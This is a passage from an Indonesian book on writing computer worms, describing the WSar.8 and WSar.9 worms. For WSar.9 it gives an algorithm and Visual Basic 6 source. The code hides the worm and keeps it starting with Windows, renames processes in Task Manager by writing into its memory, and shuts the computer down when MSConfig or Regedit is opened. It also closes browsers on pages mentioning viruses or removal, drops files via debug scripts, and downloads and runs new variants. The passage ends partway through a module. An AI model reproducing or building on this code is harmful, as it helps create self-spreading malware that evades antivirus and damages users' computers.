Procedure RegKiller bertugas untuk memastikan aplikasi Registry Editor tidak dapat digunakan oleh user, kemudian memanipulasi suatu nilai registry yang akan menghapus file *.reg jika user bermaksud untuk mengimpor suatu nilai registry secara instant dengan mengklik ganda file tersebut.
Function PolyCopy adalah function yang berguna sebagai pengganti function FileCopy untuk kepentingan metode polymorphic, dengan mengubah 4 byte pada byte ke 112, 113, 114 dan 115 ("mode") dengan 4 angka yang diambil secara acak.
Module mdlCrypt memuat dua function yaitu function Encrypt yang berguna untuk mengenkripsi plain text menjadi cipher text, kemu-dian function Decrypt yang mengubah cipher text menjadi plain text semula.
240Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 14. W
orm W
Sar.8
Module mdlDir memuat tiga function dengan function utama func-tion GetDir yang berguna untuk mendapatkan direktori aktif pada aplikasi Windows Explorer dan menempatkannya pada suatu ListBox tertentu.
Module mdlRestart berfungsi untuk me-restart komputer, module mdlWildMouse berfungsi untuk membuat animasi pantulan-pantulan pointer mouse pada layar. Module mdlWinCheck berfungsi untuk memeriksa status proses suatu file.
Catatan untuk WSar.8: berikut ini adalah contoh lain yang bisa diap-likasikan pada procedure OpenApp untuk membuka aplikasi Microsoft Excel:
Private Sub OpenApp() On Error Resume Next Dim objExcel As Object objExcel = CreateObject("Excel.Application") objExcel.Visible = True objExcel.WorkBooks.Add() objExcel.Sheets("Sheet2").Select() objExcel.ActiveWindow.SelectedSheets.Delete() objExcel.Sheets("Sheet3").Select() objExcel.ActiveWindow.SelectedSheets.Delete() objExcel.Cells.Select() objExcel.Selection.Interior.ColorIndex = 1 objExcel.Selection.Interior.Pattern = 1 objExcel.Selection.Font.ColorIndex = 2 objExcel.Columns.Select() objExcel.Selection.ColumnWidth = 1.43 objExcel.Selection.RowHeight = 11.25 objExcel.Range("AP4:AQ5;AQ3:AS3;AS4:AT5;AQ6:" & _ "AS6;AP7:AQ9;AS7:AT9;AQ10:AS10;E3:F4;F5:" & _ "G8;G9:H10;H8:I8;I4:I8;J3:J5;K4:K8;L8:M1" & _ "0;M5:N8;N3:O4;P4:Q6;Q3:T3;T4:U4;R6:S7;T" & _ "7:U9;P9:Q9;Q10:T10;W8:X10;X5:Y8;Y3:AA4;" & _ "AA5:AB8;AB8:AC10;Z8;AE3:AF10;AG3:AI3").Select() With objExcel.Selection.Interior .ColorIndex = 6 .Pattern = 1 End With objExcel.Range("AI4:AJ6;AG7:AI7;AH8:AI8;AI9;" & _ "AJ9;AJ10:AK10;AM9:AN10").Select() With objExcel.Selection.Interior .ColorIndex = 6 .Pattern = 1 End With objExcel.Cells.Select() With objExcel.Selection.Borders(3) .LineStyle = 1 .ColorIndex = 1 End With
241Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
4. W
orm
WS
ar.8
objExcel.Cells.Select() With objExcel.Selection.Borders(1) .LineStyle = 1 .ColorIndex = 1 End With objExcel.Range("E12:AT12").Select() objExcel.Selection.Merge() objExcel.Selection.HorizontalAlignment = 3 objExcel.Selection.Interior.ColorIndex = 2 objExcel.Rows("12:12").RowHeight = 21.75 objExcel.Selection.Font.Bold = True objExcel.Range("E12:AT12").Select() objExcel.ActiveCell.FormulaR1C1 = "B R I N G" & _ " T H E T R U T H T O Y O U R H O M E" With objExcel.ActiveCell.Font .Name = "Arial Black" .Size = 14 .ColorIndex = 1 End With objExcel.Sheets("Sheet1").Select() objExcel.Sheets("Sheet1").Name = "By Achmad Darmal" objExcel.ActiveSheet.Protect(DrawingObjects:= _ True, Contents:=True, Scenarios:=True)End Sub
243Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
5. W
orm
WS
ar.9
BAB 15WORM WSar.9
Worm dasar 9 menggunakan beberapa metode yang terbilang masih baru di awal tahun 2006. WSar.9 bukan saja akan menghilang dari Task List, tetapi juga memanipulasi Tab
Processes pada Task Manager Windows 2000/XP sehingga WSar.9 dapat mengubah nama proses worm menjadi salah satu nama proses pada system seperti "EXPLORER" atau "SVCHOST" yang tentunya tidak akan mencurigakan user.
Sebaliknya, WSar.9 dapat mengubah nama proses "EXPLORER" atau "SVCHOST" asli menjadi nama proses yang berbeda misalnya "Ini Worm Loh" yang akan meyakinkan user bahwa file tersebut adalah worm, mengapa? karena system komputer akan shutdown atau restart dengan sendirinya jika user mematikan proses tersebut yang sebenarnya adalah proses "EXPLORER" atau "SVCHOST" asli.
File launcher WSar.9 menggunakan nama yang berbeda untuk setiap Windows startup, hal ini bertujuan agar keberadaan worm tidak ter-ancam oleh program-program seperti aplikasi antivirus, yang meng-gunakan metode scanning pada nama file.
244Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 15. W
orm W
Sar.9
Worm ini juga melakukan aksi pemblokiran jika user mengakses situs yang mengandung suatu string tertentu pada address-nya, dengan langsung menutup aplikasi browser-nya. Dalam hal ini aplikasi browser yang dapat diblokir adalah Internet Explorer dan Netscape.
Pada saat tertentu WSar.9 akan men-download suatu file pada situs tertentu dan langsung mengeksekusinya. Pada tahun 2004, metode ini banyak digunakan worm writer untuk me-release varian baru dan se-bagian lagi worm writer memanfaatkan metode ini untuk menyisipkan suatu backdoor.
WSar.9 termasuk worm yang terkesan terbuka dan pamer, karena saat WSar.9 menginfeksi suatu system, WSar.9 akan memenuhi komputer tersebut dengan icon bergambar hati.
WSar.9 tidak hanya memanipulasi icon My Computer seperti yang dilakukan oleh worm Kangen, tetapi juga pada My Documents, My Network Place, Recycle Bin dan seluruh file yang berekstensi "exe".
15.1 DROP FILE METHODEMetode Drop File adalah suatu metode yang digunakan untuk mengek-strak suatu file tertentu dari file utama. Banyak sekali cara yang dapat digunakan untuk metode Drop File ini dan umumnya cara tersebut selalu diakhiri dengan menggunakan fasilitas debug pada Windows.
Contoh berikut ini bertujuan untuk meng-drop file vbs dengan nama WSar.vbs pada drive C dengan isi file sebagai berikut:
on error resume nextfor i = 1 to 10msgbox "WSar.9 Was Here"next
Berikut ini adalah contoh procedure yang dapat digunakan dalam pengaplikasian metode Drop File.
245Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
5. W
orm
WS
ar.9
Private Sub DropFile() On Error Resume Next Dim MyScript, MyBatch, MyFile As String MyScript = "C:\WSarScript.wsr" MyFile = "C:\WSar.vbs"
Open MyScript For Output As #1 Print #1, "N " & MyFile Print #1, "E 0100 6F 6E 20 65 72 72 6F 72 20 72 65 73 75 6D 65 20" Print #1, "E 0110 6E 65 78 74 0D 0A 66 6F 72 20 69 20 3D 20 31 20" Print #1, "E 0120 74 6F 20 31 30 0D 0A 6D 73 67 62 6F 78 20 22 57" Print #1, "E 0130 53 61 72 2E 39 20 57 61 73 20 48 65 72 65 22 0D" Print #1, "E 0140 0A 6E 65 78 74 0D" Print #1, "RCX" Print #1, "45" Print #1, "W" Print #1, "Q" Close #1 MyBatch = "C:\WSarBatch.bat" Open MyBatch For Output As #1 Print #1, "@echo off" Print #1, "debug < " & MyScript Print #1, "del " & MyScript Close #1 Shell(MyBatch, vbNormalFocus)End Sub
Pada saat procedure DropFile dieksekusi, program akan membuat file "C:\WSarScript.wsr" dengan isi file sebagai berikut:
N C:\WSar.vbsE 0100 6F 6E 20 65 72 72 6F 72 20 72 65 73 75 6D 65 20E 0110 6E 65 78 74 0D 0A 66 6F 72 20 69 20 3D 20 31 20E 0120 74 6F 20 31 30 0D 0A 6D 73 67 62 6F 78 20 22 57E 0130 53 61 72 2E 39 20 57 61 73 20 48 65 72 65 22 0DE 0140 0A 6E 65 78 74 0DRCX45WQ
Kemudian membuat file batch "C:\WSarBatch.bat" dengan isi file sebagai berikut:
@echo offdebug < C:\WSarScript.wsrdel C:\WSarScript.wsr
246Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 15. W
orm W
Sar.9
Procedure kemudian mengeksekusi file "C:\WSarBatch.bat", yang menggunakan fasilitas debug untuk menghasilkan sebuah file baru dari file script "C:\WSarScript.wsr", dengan nama file "C:\WSar.vbs" dan dengan isi file sebagai berikut:
on error resume nextfor i = 1 to 10 msgbox "WSar.9 Was Here"next
Hasil file ternyata identik dengan file aslinya. Berikut ini adalah lang-kah-langkah untuk membuat file asli (WSar.vbs) menjadi file script (C:\WSarScript.wsr)
Buka aplikasi MSDOS / COMMAND / CMD, aktifkan direktori C: dimana file asli berada, kemudian ketik perintah berikut:
Tanda garis datar setelah perintah tersebut menunjukan perintah yang dieksekusi telah benar, sekaligus menjadi prompt dalam perintah debug. Untuk mengetahui besar file tersebut ketik "R" atau "RCX" kemudian tekan enter.
247Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
5. W
orm
WS
ar.9
Nilai register yang akan kita gunakan adalah CX. Nilai CX 0045 menunjukan bahwa file WSar.vbs memiliki kapasitas sebesar 0045 (hexadecimal) atau 69 bytes (decimal).
System perhitungan hexadecimal menggunakan base 16, hexadecimal menggunakan 10 angka pertama dari system desimal: 0, 1, 2, 3, 4, 5, 6, 7, 8, dan 9. Sedangkan angka 10 memiliki 2 digit sehingga dalam hexadecimal diwakilkan dengan huruf A, angka 11 dengan huruf B, 12 dengan C, 13 dengan D, 14 dengan E, dan angka 15 dengan huruf F.
Perhatikan contoh tabel konversi decimal (dec) dan hexadecimal (hex) berikut:
Dec 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
Hex 0 1 2 3 4 5 6 7 8 9 A B C D E F
Dec 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
Hex 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F
Dec 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
Hex 20 21 22 23 24 25 26 27 28 29 2A 2B 2C 2D 2E 2F
Dec 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
Hex 40 41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F
Dec 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159
Hex 90 91 92 93 94 95 96 97 98 99 9A 9B 9C 9D 9E 9F
Dec 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175
Hex A0 A1 A2 A3 A4 A5 A6 A7 A8 A9 AA AB AC AD AE AF
Dec 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255
Hex F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF
Dec 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271
Hex 100 101 102 103 104 105 106 107 108 109 10A 10B 10C 10D 10E 10F
248Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 15. W
orm W
Sar.9
Kemudian ketik D dan tekan enter.
Tampilan diatas adalah hex dump dari file WSar.vbs. Tugas kita seka-rang adalah mendapatkan isi file WSar.vbs dari hex dump tersebut.
Untuk itu tambahkan 0100 pada RCX (0045) sehingga menjadi 0145 (0100 + 0045 = 0145), kemudian ketik D 0100,0145 dan tekan enter (0100 adalah nilai default dan 0145 merupakan hasil dari penjumlahan sebelumnya).
Setelah mendapatkan hex dump yang dicari, copy data tersebut dan paste-kan pada procedure DropFile.
249Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
5. W
orm
WS
ar.9
N C:\WSar.vbsE 0100 6F 6E 20 65 72 72 6F 72 20 72 65 73 75 6D 65 20E 0110 6E 65 78 74 0D 0A 66 6F 72 20 69 20 3D 20 31 20E 0120 74 6F 20 31 30 0D 0A 6D 73 67 62 6F 78 20 22 57E 0130 53 61 72 2E 39 20 57 61 73 20 48 65 72 65 22 0DE 0140 0A 6E 65 78 74 0DRCX45WQ
Baris pertama pada script diatas dimulai dengan N (Name) dan diikuti dengan nama dan lokasi dimana file tersebut akan dibuat.
Baris ke-2 hingga ke-6 adalah data hex dump sebelumnya dengan diberi awalan E (Enter), baris ke-7 adalah instruksi register RCX dan langsung memberikan nilai 45 pada baris berikutnya. Baris ke-9 mem-berikan instruksi W (Write) dan diakhiri dengan instruksi Q (Quit).
Dari contoh yang diberikan diatas dapat diketahui bahwa cara tersebut umumnya menggunakan kapasitas file yang berlipat (hal ini disebabkan file asli dikonversi terlebih dahulu kedalam bentuk hexadecimal yang menggunakan 2 byte untuk mewakili setiap byte dari file asli) dengan proses kompilasi yang terbilang tidak efisien, karena file berupa byte hasil konversi tadi diekstrak menjadi plain text terlebih dahulu, baru kemudian memanfaatkan perintah debug untuk mendapatkan file asli.
Walau demikian, ini adalah teknik real yang digunakan para worm writer, termasuk worm Imelda Perkasa yang merupakan salah satu worm lokal dari Indonesia, sehingga penulis tetap memberikan contoh metode Drop File dengan menggunakan fasilitas debug ini.
Lalu teknik apakah yang digunakan WSar.9 dalam mengaplikasikan metode Drop File?. Dalam bahasa pemrograman Visual Basic 6.0 ter-dapat fasilitas Resource Files yang dapat memudahkan kita menggu-nakan metode Drop File. Dengan teknik ini file asli langsung diletakan pada body program sebagai file Res tanpa adanya konversi terlebih dahulu, sehingga kapasitas file asli tidak berlipat, sedangkan Drop File secara sederhana dilakukan hanya dengan meng-ekstrak file tersebut dari file utama, akibatnya kecepatan yang diperoleh jauh lebih baik.
Metode ini akan penulis contohkan lebih detil pada pemrograman WSar.9.
250Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 15. W
orm W
Sar.9
15.2 ALGORITMAWSar.9 memiliki rutin-rutin yang akan melakukan suatu tindakan sebagai berikut:
1. Worm menyembunyikan aplikasi file worm dari task list2. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada
suatu system komputer3. Jika worm tidak mendapatkan eksistensinya maka worm akan
melakukan reproduksi dengan menciptakan salinan dirinya pada direktori System Windows dan memanipulasi registry untuk mengaktifkan worm setiap kali Windows startup
4. Worm membuat file launcher baru dengan nama yang diambil se-cara acak setiap kali Windows startup dan menghapus file launcher yang lama
5. Memanipulasi registry untuk mengubah default icon untuk My Computer, Documents, My Network Place, Recycle Bin dan seluruh file yang berekstensi "exe" menjadi icon bergambar hati. Icon terse-but diekstrak dari file utama dengan menggunakan metode Drop File
6. Melakukan shut down (restart) jika user menjalankan aplikasi Sys-tem Configuration Utility (MSConfig)
7. Melakukan shut down (turn off) jika user menjalankan aplikasi Registry Editor
8. Jika user menjalankan aplikasi Task Manager, maka pada tab Pro-cesses, caption process "EXPLORER" diubah menjadi "SVCHOST", sementara caption process worm sendiri diubah menjadi "EXPLORER", selain itu worm mengubah caption "SYSTEM" men-jadi "WSarWasHere"
9. Worm akan memblokir web address yang mengandung kata "worm", "virus" dan "removal", dengan langsung mengakhiri aplikasi browser
10. Pada saat tertentu berusaha menginfeksi disket, menukar fungsi tombol pada mouse, menghilangkan tombol Startmenu dan secara otomatis men-download varian baru dari suatu website dan lang-sung mengeksekusinya
251Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
5. W
orm
WS
ar.9
11. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.9 Ada Pada Komputer Anda", mencari file berekstensi *.doc pada direk-tori My Documents dan langsung menyembunyikannya, kemudian membuat salinan worm disetiap folder yang dilalui dengan nama file "where my document.doc.exe".
15.3 PEMROGRAMANBuat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar’, dan Application Title menjadi 'WSar.9’
Tambahkan 1 buah object ListBox, 3 buah object Timer, 1 buah object Inet, 6 buah module dan 1 buah file res (resource files), kemudian atur properti untuk masing-masing object tersebut sebagai berikut:
Properti object Form1
Jenis Nilai KeteranganName frmWSar9 Mengatur nama form menjadi frmWSar9
Icon (Icon) Pilih icon yang akan digunakan pada form, WSar.9 menggunakan icon word.ico
ShowInTaskbar False Tidak menampilkan form pada taskbar
Visible False Tidak menampilkan form pada layar.
BorderStyle None Tidak memberikan garis tepi pada form
ControlBox False Tidak menggunakan control box
Properti object Timer1
Jenis Nilai KeteranganName tmrDefender Mengatur nama Timer menjadi tmrDefender
Enable True Pastikan Timer akan aktif saat form di-load
Interval 200 Setiap instruksi pada procedure Timer akan dieksekusi setiap 0.2 detik
252Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 15. W
orm W
Sar.9
Properti object Timer2
Jenis Nilai KeteranganName tmrBlockUrl Mengatur nama Timer menjadi tmrBlockUrl
Enable True Pastikan Timer akan aktif saat form di-load
Interval 1000 Setiap instruksi pada procedure Timer akan dieksekusi setiap satu detik
Properti object Timer3
Jenis Nilai KeteranganName tmrMulti Mengatur nama Timer menjadi tmrWinForce
Enable True Pastikan Timer akan aktif saat form di-load
Interval 500 Setiap instruksi pada procedure Timer akan diek-sekusi setiap 0.5 detik
Properti object List1
Jenis Nilai KeteranganName lstDoc Mengatur nama ListBox menjadi lstDoc
Properti Module1
Jenis Nilai KeteranganName mdlBlockUrl Mengatur nama module menjadi mdlBlockUrl
Properti Module2
Jenis Nilai KeteranganName mdlIseng Mengatur nama module menjadi mdlIseng
253Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
5. W
orm
WS
ar.9
Properti Module3
Jenis Nilai KeteranganName mdlRegistryAPI Mengatur nama module menjadi mdlReg-
istryAPI
Properti Module4
Jenis Nilai KeteranganName mdlRenProcess Mengatur nama module menjadi mdlRenPro-
cess
Properti Module5
Jenis Nilai KeteranganName mdlTurnOff Mengatur nama module menjadi mdlTurnOff
Properti Module6
Jenis Nilai KeteranganName mdlWinCheck Mengatur nama module menjadi
mdlWinCheck
Kemudian tambahkan object Inet dengan menambahkan komponen Inet pada toolbox terlebih dahulu dengan cara:
1. Klik Project pada menubar, dan pilih Component. Atau dengan menekan kombinasi tombol Ctrl+T.
2. Beri seleksi pada opsi Microsoft Internet Transfer Control 6.0, ke-mudian klik Close.
3. Klik ganda object Inet pada toolbox untuk memasukannya pada form.
Terakhir tambahkan file Res. File yang ditambahkan bisa berupa file apa saja seperti file image, text atau executable. Dalam hal ini WSar.9 memasukan sebuah file icon bergambar hati pada file Res.
254Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 15. W
orm W
Sar.9
Berikut ini adalah langkah-langkah untuk membuat suatu file Res.
1. Klik Add-Ins pada menubar, dan pilih Add-In Manager. Atau dengan menekan kombinasi tombol Alt (tahan) +A +A
2. Pada list Avail-able Add-Ins klik VB 6 Resource Editor, kemudian pada frame Load Bahavior beri check pada opsi Loaded/Unload-ed dan opsi Load on Startup, akhiri dengan mengklik tombol OK
3. Klik Tools pada menubar, ke-mudian klik Resource Editor
255Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
5. W
orm
WS
ar.9
4. Pada jendela VB Resource Editor, klik tombol Add C u s t o m Resource
5. Pada kotak dialog "Open A Custom Resource", cari dan temukan file yang akan dimasukan kedalam file res. Dalam hal ini, icon bergambar hati "heart.ico", kemudian klik Open
6. Pada tree Resource File dapat terlihat sebuah sub tree baru, muncul dibawahnya dengan nama "CUSTOM" dan ID 101. WSar.9 tetap menggunakan nilai ini, na-mun untuk mengubah nilai ini bisa dilakukan dengan mengklik pada tombol Edit Properties.
256Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 15. W
orm W
Sar.9
Terakhir, simpan file res tersebut dengan mengklik tombol Save. Simpan dengan nama WSar, setelah itu secara otomatis pada Project Explorer muncul sebuah sub tree baru dengan nama Related Docu-ments dan sebuah file res dengan nama WSar.RES.
Setelah Anda berhasil menambahkan file icon sebagai resource file, ketik kode program berikut ini pada module mdlBlockUrl:
Private Declare Function GetWindowText Lib "user32" Alias _ "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As _ String, ByVal cch As Long) As LongPrivate Declare Function GetWindow Lib "user32" (ByVal hWnd _ As Long, ByVal wCmd As Long) As LongPrivate Declare Function GetWindowTextLength Lib "user32" Alias _ "GetWindowTextLengthA" (ByVal hWnd As Long) As LongPrivate Declare Function FindWindow Lib "user32" Alias _ "FindWindowA" (ByVal lpClassName As String, ByVal _ lpWindowName As String) As LongPrivate Declare Function GetClassName Lib "user32" Alias _ "GetClassNameA" (ByVal hWnd As Long, ByVal lpClassName _ As String, ByVal nMaxCount As Long) As LongPrivate Declare Function SendMessage Lib "user32" Alias _ "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, _ ByVal wParam As Long, ByVal lParam As Any) As LongGlobal thehwnd As LongGlobal thesite As StringConst GWW_HINSTANCE = (-6)Const GWW_ID = (-12)Const GWL_STYLE = (-16)Const GW_CHILD = 5Const GW_HWNDFIRST = 0Const GW_HWNDLAST = 1Const GW_HWNDNEXT = 2Const GW_HWNDPREV = 3Const GW_OWNER = 4Global Const WM_SETTEXT = &HCGlobal Const WM_GETTEXT = &HDGlobal Const WM_GETTEXTLENGTH = &HEPrivate Declare Function SetWindowText Lib "user32" Alias _ "SetWindowTextA" (ByVal hWnd As Long, ByVal lpString As _ String) As LongPrivate Declare Function ShellExecute Lib "shell32.dll" Alias _ "ShellExecuteA" (ByVal hWnd As Long, ByVal lpOperation As _ String, ByVal lpFile As String, ByVal lpParameters As String, _ ByVal lpDirectory As String, ByVal nShowCmd As Long) As _ Long
257Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
5. W
orm
WS
ar.9
Public Function BlockUrl(ByVal UrlText As String) As Boolean Dim currwnd As Long currwnd = GetWindow(Forms(0).hWnd, GW_HWNDFIRST) While currwnd <> 0 Length = GetWindowTextLength(currwnd) listitem$ = Space$(Length + 1) Length = GetWindowText(currwnd, listitem$, Length + 1) If Length > 0 Then X = Right$(listitem$, 29) mypos = InStr(1, X, "Microsoft Internet Explorer", 1) If mypos > 1 Then X = EditInfo(currwnd) compare = UrlText mypos = InStr(1, UCase(X), UCase(compare), 1) If mypos >= 1 Then thesite = UrlText Dim K As String K = WindowText(currwnd) AppActivate(K) SendKeys("%{F4}") Exit Function End If End If mypos = InStr(1, X, "Netscape", 1) If mypos > 1 Then X = EditInfo(currwnd) compare = UrlText mypos = InStr(1, UCase(X), UCase(compare), 1) If mypos >= 1 Then thesite = UrlText AppActivate(WindowText(currwnd)) SendKeys("%{F4}") Exit Function End If End If End If currwnd = GetWindow(currwnd, GW_HWNDNEXT) X = DoEvents() End WhileEnd Function
Private Function EditInfo(ByVal window_hwnd As Long) As String Dim txt As String Dim buf As String Dim buflen As Long Dim child_hwnd As Long Dim children() As Long Dim num_children As Integer Dim i As Integer buflen = 256 buf = Space$(buflen - 1) buflen = GetClassName(window_hwnd, buf, buflen) buf = Left$(buf, buflen) If buf = "Edit" Then EditInfo = WindowText(window_hwnd) thehwnd = window_hwnd Exit Function End If
258Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 15. W
orm W
Sar.9
num_children = 0 child_hwnd = GetWindow(window_hwnd, GW_CHILD) Do While child_hwnd <> 0 num_children = num_children + 1ReDim Preserve children(1 To num_children) children(num_children) = child_hwnd child_hwnd = GetWindow(child_hwnd, GW_HWNDNEXT) Loop For i = 1 To num_children txt = EditInfo(children(i)) If txt <> "" Then Exit For Next i EditInfo = txtEnd Function
Private Function WindowText(ByVal window_hwnd As Long) As String Dim txtlen As Long Dim txt As String WindowText = "" If window_hwnd = 0 Then Exit Function txtlen = SendMessage(window_hwnd, WM_GETTEXTLENGTH, _ 0, 0) If txtlen = 0 Then Exit Function txtlen = txtlen + 1 txt = Space$(txtlen)txtlen = SendMessage(window_hwnd, WM_GETTEXT, txtlen, _ ByVal txt) WindowText = Left$(txt, txtlen)End Function
Ketik kode program berikut ini pada module mdlIseng:
Public Declare Function ShowWindow Lib "user32" (ByVal hWnd _ As Long, ByVal nCmdShow As Long) As LongPublic Declare Function FindWindow Lib "user32" Alias _ "FindWindowA" (ByVal lpClassName As String, ByVal _ lpWindowName As String) As LongPublic Declare Function FindWindowEx Lib "user32" Alias _ "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As _ Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As LongPublic Declare Function ShowCursor& Lib "user32" (ByVal bShow _ As Long)Public Declare Function SwapMouseButton& Lib "user32" (ByVal _ bSwap As Long)
Public Function StartButton(ByVal View As Boolean) OurParent& = FindWindow("Shell_TrayWnd", "") OurHandle& = FindWindowEx(OurParent&, 0, "Button", _ vbNullString) If View = False Then ShowWindow(OurHandle&, 0) Else ShowWindow(OurHandle&, 5) End IfEnd Function
259Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
5. W
orm
WS
ar.9
Ketik kode program berikut ini pada module mdlRenProcess:
Option Explicit On
Declare Function OpenProcess Lib "kernel32" (ByVal _ dwDesiredAccess As Long, ByVal bInheritHandle As Long, _ ByVal dwProcessId As Long) As LongDeclare Function WriteProcessMemory Lib "kernel32" (ByVal _ hProcess As Long, ByVal lpBaseAddress As Any, ByVal _ lpBuffer As Any, ByVal nSize As Long, _ByVal lpNumberOfBytesWritten As Long) As LongDeclare Function ReadProcessMemory Lib "kernel32" (ByVal _ hProcess As Long, ByVal lpBaseAddress As Any, ByVal _ lpBuffer As Any, ByVal nSize As Long, _ByVal lpNumberOfBytesWritten As Long) As LongDeclare Function ProcessNext Lib "kernel32" Alias _ "Process32Next" (ByVal hSnapshot As Long, ByVal uProcess As _ PROCESSENTRY32) As LongDeclare Function CreateToolhelpSnapshot Lib "kernel32" Alias _ "CreateToolhelp32Snapshot" (ByVal lFlags As Long, ByVal lProcessID _ As Long) As LongPublic Const TH32CS_SNAPPROCESS As Long = 2&Type PROCESSENTRY32 dwSize As Long cntUsage As Long th32ProcessID As Long th32DefaultHeapID As Long th32ModuleID As Long cntThreads As Long th32ParentProcessID As Long pcPriClassBase As Long dwFlags As Long szExeFile As String * 260End TypePublic myHandle As LongPublic myproclist$Dim p As Long
Private Function UNICODE(ByVal PREREP As String) Dim REPIT As String REPIT = "" For p = 1 To Len(PREREP) REPIT = REPIT & Chr(0) & Mid(PREREP, p, 1) Next p UNICODE = REPITEnd Function
Private Function InitProcHack(ByVal pid As Long) Dim pHandle pHandle = OpenProcess(&H1F0FFF, False, pid) If (pHandle = 0) Then InitProcHack = False myHandle = 0 Else InitProcHack = True myHandle = pHandle End IfEnd Function
260Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 15. W
orm W
Sar.9
Private Function DoThat(ByVal PIDX As Long, ByVal OldText As String, _ByVal NewText As String) Dim i, rsd As Integer If Len(OldText) > Len(NewText) Then rsd = Len(OldText) - Len(NewText) For i = 1 To rsd NewText = NewText & " " Next i End If If Len(OldText) < Len(NewText) Then NewText = NewText & Chr(0) End If DoEvents() If Not InitProcHack(PIDX) Then Exit Function Dim c, startpos As Integer Dim addr As LongDim buffer As String * 20016 Dim readlen As Long Dim writelen As Long Dim srchstring, repstring As String Dim bytewrite srchstring = UNICODE(OldText) repstring = UNICODE(NewText) DoEvents() For addr = 0 To 4000 Call ReadProcessMemory(myHandle, addr * 20000, buffer, 20016, _ readlen) If readlen > 0 Then startpos = 1 While InStr(startpos, buffer, srchstring) > 0 p = (addr) * 20000 + InStr(startpos, buffer, srchstring) - 1 Call WriteProcessMemory(myHandle, CLng(p), repstring, _ Len(repstring), bytewrite) startpos = InStr(startpos, buffer, Trim(srchstring)) + 1 End While End If Next addr DoEvents()End Function
Public Function RenProcess(ByVal OldText As String, ByVal NewText As String)
Dim newproclist As String newproclist = "" Dim myProcess As PROCESSENTRY32 Dim mySnapshot As Long myProcess.dwSize = Len(myProcess) mySnapshot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, _ 0&)
261Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
B
ab 1
5. W
orm
WS
ar.9
While ProcessNext(mySnapshot, myProcess) If InStr(1, myproclist$, "[" & _ myProcess.th32ProcessID & "]") = 0 Then If Left(myProcess.szExeFile, InStr(myProcess.szExeFile, Chr(0)) _ - 1) = "taskmgr.exe" Then DoThat(myProcess.th32ProcessID, OldText, NewText) Else DoEvents() End If End If newproclist = newproclist & "[" & myProcess.th32ProcessID & "]" End WhileEnd Function
Ketik kode program berikut ini pada module mdlTurnOff:
Option Explicit OnPrivate Declare Function ExitWindowsEx Lib "user32" (ByVal _ dwOptions As Long, ByVal dwReserved As Long) As LongPrivate Declare Function GetCurrentProcess Lib "kernel32" () As _ LongPrivate Declare Function OpenProcessToken Lib "advapi32" _ (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, _ByVal TokenHandle As Long) As LongPrivate Declare Function LookupPrivilegeValue Lib "advapi32" _ Alias "LookupPrivilegeValueA" (ByVal lpSystemName As _ String, ByVal lpName As String, ByVal lpLuid As LUID) As LongPrivate Declare Function AdjustTokenPrivileges Lib "advapi32" _ (ByVal TokenHandle As Long, ByVal DisableAllPrivileges _ As Long, ByVal NewState As TOKEN_PRIVILEGES, ByVal _ BufferLength As Long, ByVal PreviousState As Any, ByVal ReturnLength _ As Long) As LongPrivate Declare Function GetVersionEx Lib "kernel32" Alias _ "GetVersionExA" (ByVal lpVersionInformation As OSVERSIONINFO) _ As LongPrivate Const TOKEN_ADJUST_PRIVILEGES As Long = &H20Private Const TOKEN_QUERY As Long = &H8Private Const SE_PRIVILEGE_ENABLED As Long = &H2Private Const EWX_LOGOFF As Long = &H0Private Const EWX_SHUTDOWN As Long = &H1Private Const EWX_REBOOT As Long = &H2Private Const EWX_FORCE As Long = &H4Private Const VER_PLATFORM_WIN32_NT As Long = 2
Private Type OSVERSIONINFO OSVSize As Long dwVerMajor As Long dwVerMinor As Long dwBuildNumber As Long PlatformID As Long szCSDVersion As String * 128End Type
262Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 15. W
orm W
Sar.9
Private Type LUID dwLowPart As Long dwHighPart As LongEnd Type
Private Type LUID_AND_ATTRIBUTES udtLUID As LUID dwAttributes As LongEnd Type
